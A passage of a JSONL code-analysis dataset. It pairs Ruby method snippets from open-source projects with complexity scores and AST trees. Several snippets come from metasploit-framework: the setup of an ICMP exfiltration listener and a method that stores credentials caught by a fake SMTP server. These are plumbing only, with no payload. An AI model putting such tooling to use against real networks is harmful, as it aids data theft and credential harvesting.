vulnerable\"]}]}]}]}]}]}","id":"65d14be4-4e19-46cc-b68d-acff0be37cfe"}
{"repo_name":"ahoy","file_path":"./repos/ahoy/test/cookies_test.rb","start_line":9,"raw_source":"def test_cookies_false\n    error = assert_raises do\n      Ahoy.cookies = false\n    end\n    assert_match \"This feature requires a new index\", error.message\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cookies_false\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ahoy\"]},\"cookies=\",{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"This feature requires a new index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"d356c0b1-9928-4ffc-8555-c9ce1e91ec5e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/manageiq/util/memory_logging.rb","start_line":7,"raw_source":"def memory_logger(message, &block)\n    debug(message) if block\n    yield if block\n    debug(message)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"memory_logger\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"send\",\"children\":[null,\"debug\",{\"type\":\"lvar\",\"children\":[\"message\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"yield\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"debug\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"a0f466cc-a925-4691-8083-89df8103fa81"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":1907,"raw_source":"def warn_for_deprecation(message)\n        warn message + \"\\n\\tfrom #{cleaned_caller.first.join(':')}\"\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"warn_for_deprecation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\\tfrom \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cleaned_caller\"]},\"first\"]},\"join\",{\"type\":\"str\",\"children\":[\":\"]}]}]}]}]}]}]}","id":"0b7f4d1b-9a43-4f81-afa8-420532cd1799"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/icmp_exfil.rb","start_line":59,"raw_source":"def run\n    begin\n      # check Pcaprub is up to date\n      if not netifaces_implemented?\n        print_error(\"WARNING : Pcaprub is not up-to-date, some functionality will not be available\")\n        netifaces = false\n      else\n        netifaces = true\n      end\n\n      @interface = datastore['INTERFACE'] || Pcap.lookupdev\n      # this is needed on windows cause we send interface directly to Pcap functions\n      @interface = get_interface_guid(@interface)\n      @iface_ip = datastore['LOCALIP']\n      @iface_ip ||= get_ipv4_addr(@interface) if netifaces\n      raise \"Interface IP is not defined and can not be guessed\" unless @iface_ip\n\n      # start with blank slate\n      @record = false\n      @record_data = ''\n\n      if datastore['PROMISC']\n        print_status(\"Warning: Promiscuous mode enabled. This may cause issues!\")\n      end\n\n      # start icmp listener process - loop\n      icmp_listener\n    ensure\n      store_file\n      print_status(\"\\nStopping ICMP listener on #{@interface} (#{@iface_ip})\")\n    end\n  end","complexity_score":35.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"netifaces_implemented?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"WARNING : Pcaprub is not up-to-date, some functionality will not be available\"]}]},{\"type\":\"lvasgn\",\"children\":[\"netifaces\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"netifaces\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@interface\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"INTERFACE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pcap\"]},\"lookupdev\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@interface\",{\"type\":\"send\",\"children\":[null,\"get_interface_guid\",{\"type\":\"ivar\",\"children\":[\"@interface\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@iface_ip\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LOCALIP\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"netifaces\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@iface_ip\"]},{\"type\":\"send\",\"children\":[null,\"get_ipv4_addr\",{\"type\":\"ivar\",\"children\":[\"@interface\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@iface_ip\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Interface IP is not defined and can not be guessed\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@record\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@record_data\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PROMISC\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Warning: Promiscuous mode enabled. This may cause issues!\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"icmp_listener\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store_file\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\nStopping ICMP listener on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@interface\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@iface_ip\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}]}]}","id":"a4a4ea46-4e9d-4b06-8545-11e445a92410"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/inboxes/assignment_policies_controller.rb","start_line":39,"raw_source":"def permitted_params\n    params.permit(:assignment_policy_id, :inbox_id)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"assignment_policy_id\"]},{\"type\":\"sym\",\"children\":[\"inbox_id\"]}]}]}","id":"8db272f1-23be-48b5-ad22-69365d2c07d0"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/workers/import/row_worker.rb","start_line":27,"raw_source":"def mark_as_processed!(row, imported)\n    bulk_import_id = row.bulk_import_id\n    row.destroy! if imported\n\n    BulkImport.progress!(bulk_import_id, imported: imported)\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"mark_as_processed!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]},{\"type\":\"arg\",\"children\":[\"imported\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bulk_import_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"bulk_import_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"imported\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"destroy!\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BulkImport\"]},\"progress!\",{\"type\":\"lvar\",\"children\":[\"bulk_import_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"imported\"]},{\"type\":\"lvar\",\"children\":[\"imported\"]}]}]}]}]}]}","id":"05e36397-99f3-4cc1-a959-a7332f571083"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/safe_zip/extract.rb","start_line":68,"raw_source":"def extract_all_entries(zip_archive, params, entries)\n      entries.count do |zip_entry|\n        SafeZip::Entry.new(zip_archive, zip_entry, params)\n          .extract\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_all_entries\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"zip_archive\"]},{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"entries\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"count\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"zip_entry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SafeZip\"]},\"Entry\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"zip_archive\"]},{\"type\":\"lvar\",\"children\":[\"zip_entry\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},\"extract\"]}]}]}","id":"4676cb2c-5d4f-4c66-8b13-4cb9d5795d2a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/rssfeed.rb","start_line":69,"raw_source":"def start_event_queue\n      self.queue_thread = Rex::ThreadFactory.spawn('rss_plugin', false) do\n        loop do\n          while (event = queue.shift)\n            generate_feed(event)\n          end\n          select(nil, nil, nil, 0.25)\n        end\n      rescue ::Exception => e\n        print_status(\"RSS plugin: fatal error #{e} #{e.backtrace}\")\n      end\n    end","complexity_score":19.7,"ast_json":"{\"type\":\"def\",\"children\":[\"start_event_queue\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"queue_thread=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ThreadFactory\"]},\"spawn\",{\"type\":\"str\",\"children\":[\"rss_plugin\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"while\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"queue\"]},\"shift\"]}]}]},{\"type\":\"send\",\"children\":[null,\"generate_feed\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"float\",\"children\":[0.25]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"RSS plugin: fatal error \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]}]}]}]}]},null]}]}]}]}","id":"d5e04439-8628-49c0-be46-6a379b95349f"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/event_reporter/test_helper.rb","start_line":16,"raw_source":"def event_matcher(name:, payload: nil, tags: {}, context: {}, source_location: nil)\n    ->(event) {\n      return false unless event[:name] == name\n      return false unless event[:payload] == payload\n      return false unless event[:tags] == tags\n      return false unless event[:context] == context\n\n      [:filepath, :lineno, :label].each do |key|\n        if source_location && source_location[key]\n          return false unless event[:source_location][key] == source_location[key]\n        end\n      end\n\n      true\n    }\n  end","complexity_score":30.4,"ast_json":"{\"type\":\"def\",\"children\":[\"event_matcher\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"name\"]},{\"type\":\"kwoptarg\",\"children\":[\"payload\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"tags\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"context\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"source_location\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tags\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"tags\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"context\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"filepath\"]},{\"type\":\"sym\",\"children\":[\"lineno\"]},{\"type\":\"sym\",\"children\":[\"label\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_location\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source_location\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_location\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]}]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"a09b8367-4d79-4023-b581-12a6060f9bd6"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/models/default_hourly_rate.rb","start_line":143,"raw_source":"def update_entries(entries, rate = @rate)\n      # This methods updates the given array of time or cost entries with the given rate\n      entries = [entries] unless entries.respond_to?(:each)\n      ActiveRecord::Base.cache do\n        entries.each do |entry|\n          entry.update_costs!(rate)\n        end\n      end\n    end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"update_entries\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entries\"]},{\"type\":\"optarg\",\"children\":[\"rate\",{\"type\":\"ivar\",\"children\":[\"@rate\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"each\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"entries\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"cache\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"update_costs!\",{\"type\":\"lvar\",\"children\":[\"rate\"]}]}]}]}]}]}","id":"64bbacbb-3de7-4e76-92d7-f673db344ef2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/api/repository_storage_moves.rb","start_line":12,"raw_source":"def has_status?(resource, status, destination_storage = Env.additional_repository_storage)\n          find_any(resource) do |move|\n            next unless resource_equals?(resource, move)\n\n            QA::Runtime::Logger.debug(\"Move data: #{move}\")\n\n            move[:state] == status &&\n              move[:destination_storage_name] == destination_storage\n          end\n        end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_status?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource\"]},{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"optarg\",\"children\":[\"destination_storage\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Env\"]},\"additional_repository_storage\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_any\",{\"type\":\"lvar\",\"children\":[\"resource\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"move\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_equals?\",{\"type\":\"lvar\",\"children\":[\"resource\"]},{\"type\":\"lvar\",\"children\":[\"move\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Move data: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"move\"]}]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"move\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"state\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"move\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"destination_storage_name\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"destination_storage\"]}]}]}]}]}]}","id":"7a64f140-6336-4044-aa0b-525fda76676e"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/array/grouping.rb","start_line":22,"raw_source":"def in_groups_of(number, fill_with = nil, &block)\n    if number.to_i <= 0\n      raise ArgumentError,\n        \"Group size must be a positive integer, was #{number.inspect}\"\n    end\n\n    if fill_with == false\n      collection = self\n    else\n      # size % number gives how many extra we have;\n      # subtracting from number gives how many to add;\n      # modulo number ensures we don't add group of just fill.\n      padding = (number - size % number) % number\n      collection = dup.concat(Array.new(padding, fill_with))\n    end\n\n    if block_given?\n      collection.each_slice(number, &block)\n    else\n      collection.each_slice(number).to_a\n    end\n  end","complexity_score":28.9,"ast_json":"{\"type\":\"def\",\"children\":[\"in_groups_of\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"number\"]},{\"type\":\"optarg\",\"children\":[\"fill_with\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number\"]},\"to_i\"]},\"<=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Group size must be a positive integer, was \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number\"]},\"inspect\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fill_with\"]},\"==\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"collection\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"padding\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"size\"]},\"%\",{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}]},\"%\",{\"type\":\"lvar\",\"children\":[\"number\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"collection\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dup\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"padding\"]},{\"type\":\"lvar\",\"children\":[\"fill_with\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collection\"]},\"each_slice\",{\"type\":\"lvar\",\"children\":[\"number\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collection\"]},\"each_slice\",{\"type\":\"lvar\",\"children\":[\"number\"]}]},\"to_a\"]}]}]}]}","id":"363f25d9-3a1a-4da0-a581-1a0130cc6b3c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cli/command/auto_generate_config.rb","start_line":100,"raw_source":"def reset_config_and_auto_gen_file\n          @config_store = ConfigStore.new\n          @config_store.apply_options!(@options)\n          File.open(AUTO_GENERATED_FILE, 'w') {} # create or truncate if exists\n          add_inheritance_from_auto_generated_file(@options[:config])\n        end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_config_and_auto_gen_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config_store\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConfigStore\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config_store\"]},\"apply_options!\",{\"type\":\"ivar\",\"children\":[\"@options\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"const\",\"children\":[null,\"AUTO_GENERATED_FILE\"]},{\"type\":\"str\",\"children\":[\"w\"]}]},{\"type\":\"args\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"add_inheritance_from_auto_generated_file\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"config\"]}]}]}]}]}","id":"91c49f74-c17a-480b-ac93-15a31ac5b8ab"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/capture/smtp.rb","start_line":259,"raw_source":"def report_cred(opts)\n    service_data = {\n      address: opts[:ip],\n      port: opts[:port],\n      service_name: opts[:service_name],\n      protocol: 'tcp',\n      workspace_id: myworkspace_id\n    }\n    if opts[:type] == 'cram'\n      credential_data = {\n        origin_type: :service,\n        module_fullname: fullname,\n        username: opts[:user],\n        private_data: opts[:password],\n        private_type: :nonreplayable_hash,\n        jtr_format: Metasploit::Framework::Hashes.identify_hash(opts[:password])\n      }.merge(service_data)\n    else\n      credential_data = {\n        origin_type: :service,\n        module_fullname: fullname,\n        username: opts[:user],\n        private_data: opts[:password],\n        private_type: :password\n      }.merge(service_data)\n    end\n\n    login_data = {\n      core: create_credential(credential_data),\n      status: Metasploit::Model::Login::Status::UNTRIED,\n      proof: opts[:proof]\n    }.merge(service_data)\n\n    create_credential_login(login_data)\n  end","complexity_score":28.6,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"cram\"]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",